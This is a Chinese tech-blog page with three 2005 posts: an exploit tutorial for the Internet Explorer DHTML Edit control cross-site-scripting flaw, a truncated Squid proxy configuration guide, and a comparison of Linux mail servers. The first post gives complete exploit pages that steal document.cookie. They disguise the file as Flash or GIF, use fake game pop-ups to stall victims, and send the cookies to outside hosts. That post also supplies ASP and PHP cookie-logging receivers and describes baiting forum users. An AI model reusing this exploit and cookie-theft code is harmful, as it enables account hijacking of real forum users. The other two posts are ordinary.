MSIE DHTML Edit跨站脚本漏洞

0

分类 : 技术文摘 | 发表时间 05-12-2005

微软在去年发布了MSIE DHTML Edit控件跨站脚本漏洞,但是圈内一直没有公布出好用的EXP,害得一帮新手叫苦不迭,别急,这不是为大家送来了大餐吗?!
[受影响系统]
Microsoft Internet Explorer 6.0
- Microsoft Windows XP Professional SP1
- Microsoft Windows XP Professional
- Microsoft Windows XP Home SP1
- Microsoft Windows XP Home
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 2000
[漏洞描述]
Microsoft Internet Explorer DHTML edit控件不正确过滤部分数据,远程攻击者可以利用这个漏洞进行跨站脚本攻击,获得敏感信息。DHTML编辑控件存在一个安全问题可被父窗口访问,包括Script函数,攻击者使用exeScript直接注入javascript到控件,当目标用户打开恶意链接时,会导致恶意脚本代码执行,泄露敏感信息。
看来只能影响到IE 6.0版本,并且对Windows XP SP2没有作用,不过没有给XP打SP2补丁的用户不在少数,这个漏洞的利用价值还是蛮大的。
由于我使用的是Windwos XP SP1正好存在这个漏洞,我们就先来测试一下吧,在本地建立如下内容的HTML页面:
<html>
<head>
<title>测试</title>
</head>
<body onload=”setTimeout(’x.DOM.body.innerHTML=\’<b>正在装载,请稍后
++++++++++++++</b>\’’);setTimeout(’main()’,1000)”>
<object
id=”x”
classid=”clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A”
width=”800″
height=”600″
align=”middle”
>
<PARAM NAME=”ActivateApplets” VALUE=”1″>
<PARAM NAME=”ActivateActiveXControls” VALUE=”1″>
</object>
<SCRIPT>
function shellscript()
{
window.name=”poorchild”;
open(“http://www.hacker.com.cn/newbbs/announcements.asp?
action=showone&boardid=0″,”poorchild”);
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout(“shellscript()”);
alert(’等等++++++++++++++++++++++++++’);
x.DOM.Script.execScript(’alert(document.cookie)’);
}
</SCRIPT>
</body>
</html>
用IE浏览器打开,如果你的系统存在这个漏洞,看出现了什么。
呵呵,弹出了我在黑防论坛上的Cookie信息。不过这个页面利用起来很不方便,并且成功率不高,如果没等到DHTML控件加载完毕就点击确定,是不会弹出任何Cookie信息的。
没等到页面加载完毕就点击弹出的第一个确定,一定会攻击失败,看来还是不足的。我们来对这个页面进行一下补充和修改吧,使得它成为一个成功率高的偷取Cookie信息的网页,好了,我们现在开始动手。
为了增加加载时间我们先将setTimeout(’main()’,1000)中的参数改大一些,就设成10000把,也就是10秒,够长了。虽然页面显示着正在加载,但状态栏中却显示着完毕,我们来修改状态栏的文字,加入如下的函数:
function clock() {
var title=”正在装载,请稍后++++++++++++++”;
status=title;
}
为了尽可能的诱使浏览者去打开这个页面,我们把它改名成.swf格式的文件,即把此页面伪装成一个Flash文件。在页面中加入:
<object classid=”clsid:D27CDB6E-AE6D-11CF-96B8-444553540000″ id=”obj1″ codebase=”http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0″ border=”0″ width=”800″ height=”600″>
<param name=”movie” value=”http://www.istacey.net/project/exorcist/icon/promo3.swf”>
<param name=”quality” value=”High”>
<embed src=”http://www.istacey.net/project/exorcist/icon/promo3.swf” pluginspage=”http://www.macromedia.com/go/getflashplayer” type=”application/x-shockwave-flash” name=”obj1″ width=”489″ height=”76″ quality=”High”></object>
同时隐藏DHTML控件,即将DHTML空间的width,height属性设置成0。为了将Cookie发送,我们添加如下脚本:
x.DOM.Script.execScript(“window.open(’http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments=’+document.cookie)”);
这是为了测试方便,我将浏览者的Cookie信息发送到了网上一个发表评论的地方了。最终的测试页面是:
<html>
<head>
<title>测试</title>
</head>
<body onload=”setTimeout(’x.DOM.body.innerHTML=\’<b>正在装载,请稍后++++++++++++++</b>\’’);clock();setTimeout(’main()’,10000)”>
<object
id=”x”
classid=”clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A”
width=”0″
height=”0″
align=”middle”
>
<PARAM NAME=”ActivateApplets” VALUE=”1″>
<PARAM NAME=”ActivateActiveXControls” VALUE=”1″>
</object>
<SCRIPT>
function clock() {
var title=”正在装载,请稍后++++++++++++++”;
status=title;
}

function shellscript()
{
window.name=”poorchild”;
open(“http://www.hacker.com.cn/newbbs/announcements.asp?action=showone&boardid=0″,”poorchild”);
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout(“shellscript()”);
alert(“游戏名称:神秘祭坛\n”);
alert(“测试通过者拥有着超人的观察力!\n”);
alert(“全世界只有10个人可以全部找出!\n”);
alert(“相信你就是这10个人中的一员\n”);
alert(“祝你好运++++++++++++++++++++\n”);
alert(“务必在找到不同后点击确定!!\n”);
//x.DOM.Script.execScript(’alert(document.cookie)’);
x.DOM.Script.execScript(“window.open(’http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments=’+document.cookie)”);
}
</SCRIPT>
<object classid=”clsid:D27CDB6E-AE6D-11CF-96B8-444553540000″ id=”obj1″ codebase=”http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0″ border=”0″ width=”800″ height=”600″>
<param name=”movie” value=”http://www.istacey.net/project/exorcist/icon/promo3.swf”>
<param name=”quality” value=”High”>
<embed src=”http://www.istacey.net/project/exorcist/icon/promo3.swf” pluginspage=”http://www.macromedia.com/go/getflashplayer” type=”application/x-shockwave-flash” name=”obj1″ width=”489″ height=”76″ quality=”High”></object>
</body>
</html>
其中的http://www.istacey.net/project/exorcist/icon/promo3.swf是朋友发给我的地址,把我给下了一跳,不过没想到我却用它来骗稿费了,呵呵。
为了测试,赶快去黑防论坛发表一篇文章,要有吸引力才行。
够有吸引力的了吧?我猜中招的一定不少!其实我们可以把以上的攻击文件改名成.swf,为了在论坛上传方便(不允许swf格式),我改名为gif格式了。
由于它是利用的IE漏洞,这个页面的地址可以在任意地方,不过注意:
function shellscript()
{
window.name=”poorchild”;
open(“http://www.hacker.com.cn/newbbs/announcements.asp?action=showone&boardid=0″,”poorchild”);
}
这个函数中定义了我们要偷取浏览者机器中站点的Cookie信息,我设置的是黑防论坛的,大家可以换成要攻击的论坛。同时这个页面也要选取内容少的页面,最好不要带图片,以加快载入时间。
好,我自己就先来看看效果吧。
看来是成功了,为了不让浏览者看到自己的的Coo
kie信息,可以把它发送到自己定制的ASP页面,方法是在支持ASP和FSO组件的空间上建立以下页面:
<%
testfile=Server.MapPath(“cookie.txt”)
cookie=Request(“cookie”)
set fs=server.CreateObject(“scripting.filesystemobject”)
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(“”&cookie& “”)
thisfile.close
set fs = nothing
%>
将它命名为Cookie.asp,注意修改以下内容:
x.DOM.Script.execScript(“window.open(’http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments=’+document.cookie)”);
改为
x.DOM.Script.execScript(“window.open(’http://youwebsite.com/cookie.asp?cookie= ’+document.cookie)”);
或在支持PHP的空间建立以下页面:
<?php
$info = getenv(“QUERY_STRING”);
if ($info) {
$fp = fopen(“info.txt”,”a”);
fwrite($fp,$info.”\n”);
fclose($fp);
}
header(“Location: http://wwwhacker.com.cn”);
这样通过这个漏洞,我们就可以偷取到任何论坛的Cookie信息了,不管论坛做了多么安全,只要浏览者IE存在此漏洞,就可成功获取别人的Cookie,这可称得上是论坛杀手了!

HPUX做代理服务器

0

分类 : 技术文摘 | 发表时间 18-11-2005

在系统安装完成后,可根据以下配置Proxy:  

1.基本配置

  安装完成后,接下来要对Squid的运行进行配置。所有项目都在squid.conf中完成。Squid自带的squid.conf包括非常详尽的说明,相当于一篇用户手册,对配置有任何疑问都可以参照解决。

  在这个例子中,代理服务器同时也是网关,内部网络接口eth0的IP地址为192.168.0.1,外部网络接口eth1的IP地址为202.103.x.x。下面是一个基本的代理所需要配置选项:

  http_port 192.168.0.1:3128


  默认端口是3128,当然也可以是任何其它端口,只要不与其它服务发生冲突即可。为了安全起见,在前面加上IP地址,Squid就不会监听外部的网络接口。

  下面的配置选项是服务器管理者的电子邮件,当错误发生时,该地址会显示在错误页面上,便于用户联系:

cache_mgr start@soocol.com


  以下这些参数告诉Squid缓存的文件系统、位置和缓存策略:

cache_dir ufs /var/squid
cache_mem 32MB
cache_swap_low 90
cache_swap_high 95


  在这里,Squid会将/var/squid目录作为保存缓存数据的目录,每次处理的缓存大小是32兆字节,当缓存空间使用达到95%时,新的内容将取代旧的而不直接添加到目录中,直到空间又下降到90%才停止这一活动。如果不想Squid缓存任何文件,如某些存储空间有限的专有系统,可以使用null文件系统(这样不需要那些缓存策略):

cache_dir null /tmp


  下面的几个关于缓存的策略配置中,较主要的是第一行,即用户的访问记录,可以通过分析它来了解所有用户访问的详尽地址:

cache_access_log /var/squid/access.log
cache_log /var/squid/cache.log
cache_store_log /var/squid/store.log


  下面这行配置是在较新版本中出现的参数,告诉Squid在错误页面中显示的服务器名称:

visible_hostname No1.proxy


  以下配置告诉Squid如何处理用户,对每个请求的IP地址作为单独地址处理:

client_mask 255.255.255.255


  如果是普通代理服务器,以上的配置已经足够。但是很多Squid都被用来做透明代理。所谓透明代理,就是客户端不知道有代理服务器的存在,当然也不需要进行任何与代理有关的设置,从而大大方便了系统管理员。相关的选项有以下几个:

httpd_accel_host virtual
httpd_accel_port 80
httpd_accel_with_proxy on
httpd_accel_user_host_header on


  在Linux上,可以用iptables/ipchains直接将对Web端口80的请求直接转发到Squid端口3128,由Squid接手,而用户浏览器仍然认为它访问的是对方的80端口。例如以下这条命令:

iptables -t nat -A PREROUTING -s 192.168.0.200/32 -p tcp –dport 80 -j REDIRECT 3128


  就是将192.168.0.200的所有针对80端口的访问重定向到3128端口。

  所有设置完成后,关键且重要的任务是访问控制。Squid支持的管理方式很多,使用起来也非常简单(这也是有人宁愿使用不做任何缓存的Squid,也不愿意单独使用iptables的原因)。Squid可以通过IP地址、主机名、MAC地址、用户/密码认证等识别用户,也可以通过域名、域后缀、文件类型、IP地址、端口、URL匹配等控制用户的访问,还可以使用时间区间对用户进行管理,所以访问控制是Squid配置中的重点。Squid用ACL(Access Control List,访问控制列表)对访问类型进行划分,用http_access deny 或allow进行控制。根据需求首先定义两组用户advance和normal,还有代表所有未指明的用户组all及不允许上网的baduser,配置代码如下:

acl advance 192.168.0.2-192.168.0.10/32
acl normal src 192.168.0.11-192.168.0.200/32
acl baduser src 192.168.0.100/32
acl baddst dst www.soocol.com
acl all src 0.0.0.0/0

http_access deny baduser
http_access allow advance
http_access allow normal


  可以看出,ACL的基本格式如下:

  acl 列表名称 控制方式 控制目标


  比如acl all src 0.0.0.0/0,其名称是all,控制方式是src源IP地址,控制目标是0.0.0.0/0的IP地址,即所有未定义的用户。出于安全考虑,总是在最后禁止这个列表。

  下面这个列表代表高级用户,包括IP地址从192.168.0.2到192.168.0.10的所有计算机:

acl advance 192.168.0.2-192.168.0.20/32


  下面这个baduser列表只包含一台计算机,其IP地址是192.168.0.100:

acl baduser 192.168.0.100/32


  ACL写完后,接下来要对它们分别进行管理,代码如下:

http_access deny baduser
http_access allow advance
http_access allow normal


  上面几行代码告诉Squid不允许baduser组访问Internet,但advance、normal组允许(此时还没有指定详细的权限)。由于Squid是按照顺序读取规则,会首先禁止baduser,然后允许normal。如果将两条规则顺序颠倒,由于baduser在normal范围中,Squid先允许了所有的normal,那么再禁止baduser就不会起作用。

  特别要注意的是,Squid将使用allow-deny-allow-deny……这样的顺序套用规则。例如,当一个用户访问代理服务器时,Squid会顺序测试Squid中定义的所有规则列表,当所有规则都不匹配时,Squid会使用与最后一条相反的规则。就像上面这个例子,假设有一个用户的IP地址是192.168.0.201,他试图通过这台代理服务器访问Internet,会发生什么情况呢?我们会发现,他能够正常访问,因为Squid找遍所有访问列表也没有和192.168.0.201有关的定义,便开始应用规则,而最后一条是deny,那么Squid默认的下一条处理规则是allow,所以192.168.0.201反而能够访问Internet了,这显然不是我们希望的。所以在所有squid.conf中,最后一条规则永远是http_access deny all,而all就是前面定义的“src 0.0.0.0”。

  2.高级控制

  前面说过,Squid的控制功能非常强大,只要理解Squid的行为方式,基本上就能够满足所有的控制要求。下面就一步一步来了解Squid是如何进行控制管理的。

  通过IP地址来识别用户很不可靠,比IP地址更好的是网卡的MAC物理地址。要在Squid中使用MAC地址识别,必须在编译时加上“–enable-arp-acl”选项,然后可以通过以下的语句来识别用户:

acl advance arp 00:01:02:1f:2c:3e 00:01:02:3c:1a:8b …


  它直接使用用户的MAC地址,而MAC地址一般是不易修改的,即使有普通用户将自己的IP地址改为高级用户也无法通过,所以这种方式比IP地址可靠得多。

  假如不想让用户访问某个网站应该怎么做呢?可以分为两种情况:一种是不允许访问某个站点的某个主机,比如ok的主机是ok.sina.com.cn,而其它的新浪资源却是允许访问的,那么ACL可以这样写:

acl sinapage dstdomain ok.sina.com.cn
… …
http_access deny ok
… …


  由此可以看到,除了ok,其它如www.sina.com.cn、news.sina.com.cn都可以正常访问。

  另一种情况是整个网站都不许访问,那么只需要写出这个网站共有的域名即可,配置如下:

acl qq dstdomain .tcccent.com.cn


  注意tcccent前面的“.”,正是它指出以此域名结尾的所有主机都不可访问,否则就只有tcccent.com.cn这一台主

Linux环境下邮件服务器软件的分析比较

0

分类 : 技术文摘 | 发表时间 17-11-2005

几年以前,Linux环境下可以选择的可以免费邮件服务器软件只有Sendmail,但是由于Sendmail的缺陷,一些开发者先后开发了若干种其他的邮件服务器软件。当前,运行在Linux环境下免费的邮件服务器,或者称为MTA(Mail Transfer Agent)有若干种选择,比较常见的有Sendmail、Qmail、Postfix、exim及Zmailer等等。本文希望通过对几种影响相对来说比较大的主流Linux环境下的MTA的特点进行阐述,并对其优缺点一一金星分析比较,使用户在选择Linux环境下的免费MTA时有一个选择的依据。

Postfix

Postfix是一个由IBM资助下由Wietse Venema 负责开发的自由软件工程的一个产物,其目的是为用户提供除sendmail之外的邮件服务器选择。Postfix力图做到快速、易于管理、提供尽可能的安全性 ,同时尽量做到和sendmail邮件服务器保持兼容性以满足用户的使用习惯。起初,Postfix是以VMailer这个名字发布的,后来由于商标上的原因改名为Postfix。

主要设计目标

Postfix工程的目标是实现一个邮件服务器,提供给用户除sendmail以外的选择。其设计目标包括:


性能, Postfix要比同类的服务器产品速度快三倍以上,一个安装Postfix的台式机一天可以收发百万封信件。Postfix设计中采用了web服务器的的设计技巧以减少进程创建开销,并且采用了其他的一些文件访问优化技术以提高效率,但同时保证了软件的可靠性。


兼容性。Postfix设计时考虑了保持Sendmail的兼容性问题,以使移植变的更加容易。Postfix支持/var[/spool]/mail, /etc/aliases, NIS, 及 ~/.forward等文件。然而Postfix为保证管理的简单性,所以没有支持配置文件sendmail.cf。


安全和健壮性。Postfix设计上实现了程序在过量负载情况下仍然保证程序的可靠性。当出现本地文件系统没有可用空间或没有可用内存的情况时,Postfix就会自动放弃,而不是重试使情况变的更糟。


灵活性。Postfix结构上由十多个小的子模块组成,每个子模块完成特定的任务,如通过SMTP协议接收一个消息,发送一个消息,本地传递一个消息,重写一个地址等等。当出现特定的需求时,可以用新版本的模块来替代老的模块,而不需要更新整个程序。而且它也很容易实现关闭某个功能。


安全性。Postfix使用多层防护措施防范攻击者来保护本地系统,几乎每一个Postfix守护进程都能运行在固定低权限的chroot之下,在网络和安全敏感的本地投递程序之间没有直接的路径—一个攻击者必须首先突破若干个其他的程序,才有可能访问本地系统。Postfix甚至不绝对信任自己的队列文件或IPC消息中的内容以防止被欺骗。Postfix在输出发送者提供的消息之前会首先过滤消息。而且Postfix程序没有set-uid。

Postfix的一些特点

支持多传输域:sendmai支持在Internet, DECnet, X.400及UUCP之间转发消息。 Postfix则灵活的设计为无须虚拟域(vistual domai)或别名来实现这种转发。但是在早期的发布里仅仅支持STMP和有限度地支持UUCP,但对于我国用户来说,多传输域的支持没有什么意义。

虚拟域:在大多数通用情况下,增加对一个虚拟域的支持仅仅需要改变一个Postfix查找信息表。其他的邮件服务器则通常需要多个级别的别名或重定向来获得这样的效果。

UCE控制(UCE,unsolicited commercial email): Postfix能限制哪个主机允许通过自身转发邮件,并且支持限定什么邮件允许接进。Postfix实现通常的控制功能:黑名单列表、RBL查找、HELO/发送者DNS核实。基于内容过滤当前没有实现。

表查看: Postfix没有实现地址重写语言,而是使用了一种扩展的表查看来实现地址重写功能。表可以是本地 dbm或 db文件等格式。

Postfix体系结构及与Sendmail的比较

Postfix是基于半驻留,互操作的进程的体系结构,每个进程完成特定的任务,没有任何特定的进程衍生关系(父子关系)。而且,独立的进程来完成不同的功能相对于“单块”程序具有更好的隔离性。此外,这种实现方式具有这样的优点:每个服务如地址重写等都能被任何一个Postfix部件所使用,无须进程创建等开销,而仅仅需要重写一个地址,当然并不是只有postfix采用这种方式。

Postfix是按照这种方式实现的:一个驻留主服务器根据命令运行Postfix守护进程,守护进程完成发送或接收网络邮件消息,在本地递交邮件等等功能。守护进程的数目由配置参数来决定的,并且根据配置决定守护进程运行的次数(re-used times),当空闲时间到达配置参数指定的限度时,自动消亡。这种方法明显地降低了进程创建开销,但是单个进程之间仍然保持了良好的隔离性。

Postfix的设计目标就是成为Sendmail的替代者。由于这个原因,Postfix系统的很多部分,如本地投递程序等,可以很容易地通过编辑修改类似inetd的配置文件来替代。

Postfix的核心是由十多个半驻留程序实现的。为了保证机密性的原因,这些Postfix进程之间通过Unix的socket或受保护的目录之下的FIFO进行通信。即使使用这种方法来保证机密性,Postfix进程并不盲目信任其通过这种方式接收到的数据。

Postfix进程之间传递的数据量是有限制的。在很多情况下,Postfix进程之间交换的数据信息只有队列文件名和接收者列表,或某些状态信息。一旦一个邮件消息被保存进入文件,其将在其中保存到被一个邮件投递程序读出。

Postfix采用一些通常的措施来避免丢失信息:在收到确认以前通过调用flush和fsync()保存所有的数据到磁盘中。检查所有的系统调用的返回结果来避免错误状况。

大多数构建邮件服务器者都会选择sendmail,公平的来讲sendmail是一个不错的MTA(Mail Transfer Agent),最初开发时Eric Allman的设计考虑主要放在了邮件传递的成功性。不幸的是,Sendmai开发时没有太多的考虑Internet环境下可能遇到的安全性问题。Sendmail在大多数系统上只能以根用户身份运行,这就意味着任何漏洞都可能导致非常严重的后果,除了这些问题之外,在高负载的情况Sendmail运行情况不是很好。

安全

Postfix则并一定要以root的身份运行,而只需要一个主(master)程序以root身份运行,其生成进程来处理接入、发出及本地邮件投递工作。通过使用一系列模块部件,每个任务由一个单独的程序来运行(这样使审计变的容易一些)。例如发出邮件被卸载到一个队列目录,在这里“pcikup”程序取到该邮件然后将邮件传递给“cleanup”程序,其再将邮件传递给“trivial-rewrite”,其负责处理邮件头,最后若邮件目的是别的系统则将邮件传递给“smtp”程序。而且相对于Sendmail来说Postfix也更容易设置chroot‘ed环境。只要简单地通过编辑master.cf(一般位于/etc/postfix内)文件即可实现,并且Postfix将运行chroot‘ed,以限定在其定义的队列目录之下(通常位于/var/spool/postfix),同样可以在master.cf中对Postfix的单一模块设置进程限制。用户可以限制Postfix以哪个用户的身份运行,一般来说是以“postfix”用户(概念上该用户和Apache的nobody类似)运行,该用户可以访问特定的队列目录。Postfix其他的主要优点是起配置文件的清晰易懂性。

与Sendmail的比较 如sendmail之类的邮件系统是按照一个单块的结构设计实现的,该“单块”程序实现所有的功能。当然这种
结构有利于在系统的不同部分之间共享数据。但是这种结构容易出现一些致命的错误。而如qmail的邮件系统上使用一种分层次的结构,按照固定得顺序运行不同功能的子模块进程,执行完毕之后就将其释放。这种方法有良好的“绝缘”性,但是增加了进程创建开销和进程间通信开销。但是通过合理的规划子模块进程的运行顺序可以将开销保持在可以接受的范围内。

使用其他的MTA替代Sendmail是一件非常麻烦的事情,用户往往又要花大量的时间去熟悉新的MTA的配置和使用。而使用Postfix,你可以利用很多以有的配置文件。如(access, aliases, virtusertable等等),只需要简单的在master.cf中定义一下即可。此外,Postfix在行为上也很象Sendmail,用户可以使用sendmail命令来启动Postfix。

当然,使用一个软件来替代另外一个软件需要解决特定的问题。部分原因是因为Postfix的安全特性,在配置Postfix时可能会遇到一些问题。最典型的问题是向root用户发送邮件。Postfix一般不提高自身的权限(向root用户发送邮件所必须的)来投递邮件。用户需要在别名文件中为root定义别名,如:root: someuser。这同样会对若干个邮件列表模块发生影响,特别是SmartList。一般来说实现邮件列表最好使用Majordomo,它易于配置。

Sendmail一个很突出的问题就是可扩展性和性能问题。例如用户若希望每天重新启动Sendmail来实现自动更新配置文件(如为虚拟主机重定向邮件)就会出现问题。Sendmail生成新的进程来处理发送和接收邮件,这些进程会一直存在直到传输结束,之后Sendmail才能退出,这样你的脚本程序将不能正确的重起Sendmail。而对于Postfix,用户则只需要发出命令postfix reload即可,Postfix将会重新加载其配置文件。

另外,对于有数以万计的用户的邮件服务器来说,使用文件来存储如匹配用户发出邮件地址(例如bob发出的信的发信人修改为sales@example.org)。对于大量用户来讲,该文件就会变的很巨大,从而影响系统的运行效率。而Postfix则可以和一个数据库后台集成起来(当前只支持MySQL)来存放其配置信息,数据库方式要比文件方式在可扩展性方面强大很多。

遵从IBM的开放源代码版权许可证,用户可以自由地分发该软件,进行二次开发。其唯一的限制就是必须将对Postfix做的修改返回给IBM公司。因为IBM资助了Wietse的开发。
与Qmail的比较

Qmail的缺点就是配置方式和Sendmail不一致,不容易维护。而且Qmail的版权许可证含义非常模糊,甚至没有和软件一起发布。应用作者的话:若你希望分发自己修改版本的Qmail,你必须得到我的许可。

Qmail qmail是有Dan Bernstein开发的可以自由下载的MTA,其第一个beta版本0.70.7发布于1996年1月24日,1997年2月发布了1.0版,当前版本是1.03。

Qmail的特点

安全性 为了验证Qmail的安全性,Qmail的支持者甚至出资$1000悬赏寻找Qmail的安全漏洞,一年以后,该奖金没有被领取,而被捐献给自由软件基金会。目前,Qmail的作者也出资$500来寻求Qmail的安全漏洞。

速度:Qmail在一个中等规模的系统可以投递大约百万封邮件,甚至在一台486一天上能处理超过10万封邮件,起支持并行投递。Qmail支持邮件的并行投递,同时可以投递大约20封邮件。目前邮件投递的瓶颈在于SMTP协议,通过STMP向另外一台互联网主机投递一封电子邮件大约需要花费10多秒钟。Qmail的作者提出了QMTP(Quick Mail Transfer Protocol)来加速邮件的投递,并且在Qmail中得到支持。Qmail的设计目标是在一台16M的机器上最终达到每天可以投递大约百万级数目的邮件。


可靠性:为了保证可靠性,Qmail只有在邮件被正确地写入到磁盘才返回处理成功的结果,这样即使在磁盘写入中发生系统崩溃或断电等情况,也可以保证邮件不被丢失,而是重新投递。


特别简单的虚拟域管理,甚至有一个第三方开发的称为vpopmail的add-on来支持虚拟POP域。使用这个软件包,POP3用户不需要具有系统的正式帐户。

使用ezmlm支持用户自控制的邮件列表功能。


邮件用户和系统帐户隔离,为用户提供邮件帐户不需要为其设置系统帐户,从而增加了安全性。

Sendmail vs Qmail

首先:sendmail是发展历史悠久的MTA,当前的版本是8.10.2。当然,Sendmail在可移植性、稳定性及确保没有bug方面有一定的保证。但是Internet上有很多帖子都是关于如果攻击Sendmail,这对于管理员来说是一个噩梦。Sendmail在发展过程中产生了一批经验丰富的Sendmail管理员,并且Sendmail有大量完整的文档资料,除了Sendmail的宝典:O‘Reilly‘s sendmail book written by Bryan Costales with Eric Allman以外,网络上有大量的tutorial、FAQ和其他的资源。这些大量的文档对于很好的利用Sendmail的各种特色功能是非常重要的。但是Sendmai当前来说是一个成熟的MTA。

当然,Sendmail具有一些缺点,其特色功能过多而导致配置文件的复杂性。当然,通过使用m4宏使配置文件的生成变的容易很多。但是,要掌握所有的配置选项是一个很不容易的事情。Sendmail在过去的版本中出现过很多安全漏洞,所以使管理员不得不赶快升级版本。而且Sendmail的流行性也使其成为攻击的目标,这有好处也有坏处:这意味着安全漏洞可以很快地被发现,但是同样使Sendmail更加稳定和安全。另外一个问题是Sendmail一般缺省配置都是具有最小的安全特性,从而使Sendmail往往容易被攻击。如果使用Sendmail,应该确保明白每个打开的选项的含义和影响。一旦你理解了Sendmail的工作原理,就Sendmail的安装和维护就变的非常容易了。通过Sendmail的配置文件,用户实现完成一切可以想象得到的需求。

Qmail是一个选择,其在设计实现中特别考虑了安全问题。如果你需要一个快速的解决方案如,一个安全的邮件网关,则Qmail是一个很好的选择。Qmail和Sendmail的配置文件完全不同。而对于Qmail,其有自己的配置文件,配置目录中包含了5-30个不同的文件,各个文件实现对不同部分的配置(如虚拟域或虚拟主机等)。这些配置说明都在man中有很好的文档,但是Qmail的代码结构不是很好。

Qmail要比Sendmail小很多,其缺乏一些现今邮件服务器所具有的特色功能。如不象Sendmail,qmail不对邮件信封的发送者的域名进行验证,以确保域名的正确性。自身不提供对RBL的支持,而需要add-on来实现。,而Sendmail支持RBL。同样Qmail不能拒绝接收目的接收人不存在信件,而是先将邮件接收下来,然后返回查无此用户的的邮件。Qmail最大的问题就出在发送邮件给多个接收者的处理上。若发送一个很大的邮件给同一个域中的多个用户,Sendmail将只向目的邮件服务器发送一个邮件拷贝。而Qmail将并行地连接多次,每次都发送一个拷贝给一个用户。若用户日常要发送大邮件给多个用户,使用Qmail将浪费很多带宽。可以这么认为:Sendmail优化节省带宽资源,Qmail优化节省时间。若用户系统有很好的带宽,Qmail将具有更好的性能,而如果用户系统的带宽资源有限,并且要发送很多邮件列表信息,则Sendmail效率更高一些。Qmail不支持.forward(.forward在很多情况下对用户很有用处);不使用/var/spool/mail,而是将邮件存放在用户home目录。下面是一些使用Qmail不容易完成的工作,要使用Qmail完成
这些工作,可能需要用户自己动手实现或者使用第三方提供的不够可靠的模块。

Qmail的源代码相对于Sendmail来说要更加容易理解,这对于希望深入到内部了解MTA机制的人员来说是一个优点。Qmail在安全性方面也要稳定一些。Qmail有很好的技术支持,但是没有象Sendmail那样被广泛地应用和大量的管理员用户群。Qmail的安装不象Sendmail那样自动化,需要手工步骤。而且Qmail的文档不如Sendmail那样完整和丰富。

Qmail的add-ons比Sendmail要少一些。一般来说对于经验稍微少一些的管理员,选择Qmail相对要好一些。Qmail要简单一些,而且其特色功能能满足一般用户的需求。Sendmail类似于office套件,80%的功能往往都不被使用。这就使Qmail在一些场合可能被更受欢迎一些,其具有一些Sendmail所没有的更流行和实用的特色功能,如:Qmail具有内置的pop3支持。Qmail同样支持如主机或用户的伪装、虚拟域等等。Qmail的简单性也使配置相对容易一些。

Qmail被认为相对于Sendmail更加安全和高效,运行Qmail的一台pentium机器一天可以处理大约200,0000条消息。

qmail相对于其他的MTA要简单很多,主要体现在:(1)其他的MTA的邮件转发、邮件别名和邮件列表都是采用相互独立的机制,而qmail采用一种简单的转发(forwarding)机制来允许用户处理自己的邮件列表(2)其他的MTA都提供快速而不安全的方式及慢的队列方式的邮件投递机制;而qmail发送是由新邮件的出现而触发的,所以其投递只有一种模式:快速的队列方式(3)其他的MTA实际上包括一个特定版本的inetd来监控MTA的平均负载,而qmail设计了内部机制来限制系统负载,所以qmail-smtpd能安全地从系统的inet来运行

sendmail有很多的商业支持,而且由于大量的用户群,在互联网上有大量的潜在技术支持。而Qmail只有很有限的技术支持。有家公司inter7.com提供对Qmail的支持,该公司同样提供了免费的add-ons,包括一个基于web的管理工具-QmailAdmin及一个通过vpopmail的对虚拟域的支持,甚至具有一个基于web的客户借接口—SqWebMail。

Qmail还具有一些其他的缺憾。如它不是完全遵从标准,它不支持DSN,作者认为DSN是一个即将消亡的技术,而Qmail的VERP可以完成同样的工作,而又不象DSN依赖于其他主机的支持。Qmail另外一个问题是其不遵从支持7bit系统标准,而每次都发送8bit。若邮件接收一方不能处理这种情况,就会出现邮件乱码的情况。

从安全性来讲,Sendmail要比Qmail差一些,Sendmail在发展中出现过很多很著名的安全漏洞;而Qmail相对要短小精悍,但是仍然提供了基本的STMP功能。而Qmail的代码注释要少一些。Qmail的一个很好的特色是其支持一种可选的基于目录的邮件存储格式,而不是使用一个很大的文件来存储用户所有的邮件。若用户的邮件服务器进行很多的POP3服务,则这种邮件存储格式可以提高效率。但是遗憾的是Pine自身并不支持这种存储格式,如果需要可以使用一些补丁来达到这个目的。

Qmail的优点是:每个用户都可以创建邮件列表而无须具有根用户的权限,如用户foo可以创建名为foo-slashdot, foo-linux,foo-chickens 的邮件列表,为了提供更好的功能,有一个叫ezmlm(EZ Mailing List Maker)的工具可以支持自动注册和注销、索引等Majordomo所具有的各种功能,但是都是CLI驱动的,只需要编辑很少的文件。Qmail非常适合在小型系统下工作,一般只支持较少的用户或用来管理邮件列表。Qmail速度快并且简单:Qmail是当你希望安全切容易配置的最佳的选择;Qmail可以在2个小时内搞定配置,而Sendmail可能在两天内都搞不定。

rocketmail internic 等都使用qmail来构建

ZMailer

ZMailer是一个高性能、多进程的Unix系统邮件程序。 [ a.k.a. MTA per X.400 parlance ],其可以从下面的服务器ftp://ftp.funet.fi/pub/unix/mail/zmailer/ 自由下载。其也是按照单块模式设计的。如Hotmail等邮件系统就是用Zmailer构建的。

Exim Exim是由Cambridge 大学开发的遵从GPL的MTA,其风格上类似与Smail 3,但是比Smail 3更加完善。当前最新版本是3.15。其主站点为http://www.exim.org/。其最大的特点就是配置简单性,但是其安全性不如Qmail及Postfix。

下面是对几种MTA的特点的比较,综合的来讲,Qmail和Postfix都是很不错的MTA,选择的标准往往是个人的喜好问题,Postfix发展历史要比Qmail迟一些。

